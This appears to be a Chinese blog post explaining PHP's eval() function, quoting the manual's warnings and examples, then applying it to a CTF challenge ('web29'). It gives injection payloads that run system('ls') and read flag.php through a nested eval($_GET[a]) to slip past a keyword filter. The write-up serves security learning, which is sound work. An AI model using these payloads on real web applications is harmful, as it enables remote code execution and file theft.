php eval()函数
php eval()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
eval — 把字符串作为PHP代码执行
说明 eval(string $code)
把字符串 code 作为PHP代码执行。
函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。


范例
示例 #1 eval()例子 - 简单的文本合并
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
得到的结果
This is a $string with my $name in it.
This is a cup with my coffee in it.
2、拼接参数
<?php
$str = '<?php echo "test"; ?>';
eval('?>'.$str.'<?php;'); // outputs test
eval('?>'.$str.'<?'); // outputs test
eval('?>'.$str.'<?php');// throws syntax error - unexpected $end
?>
如上例子,在命令执行中,就可以构造语句来进行命令执行 ,以web29为例子
类似这种?c=echo ‘’?><?php system(‘ls’);
或者根据eval()中的参数是执行php代码,构造?c=eval($_GET[a])?>&a=system(‘cat flag.php’);
将a的值get进去,就避免了flag被代码中的preg_match("/flag/i", $c) 给过滤掉,如下,成功执行

就此,可以利用eval()函数的特性去构造来绕过一些限制了,还有一些其他的可以学习这个网站:https://www.php.net/manual/zh/function.eval.php
还有很多东西要学!
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)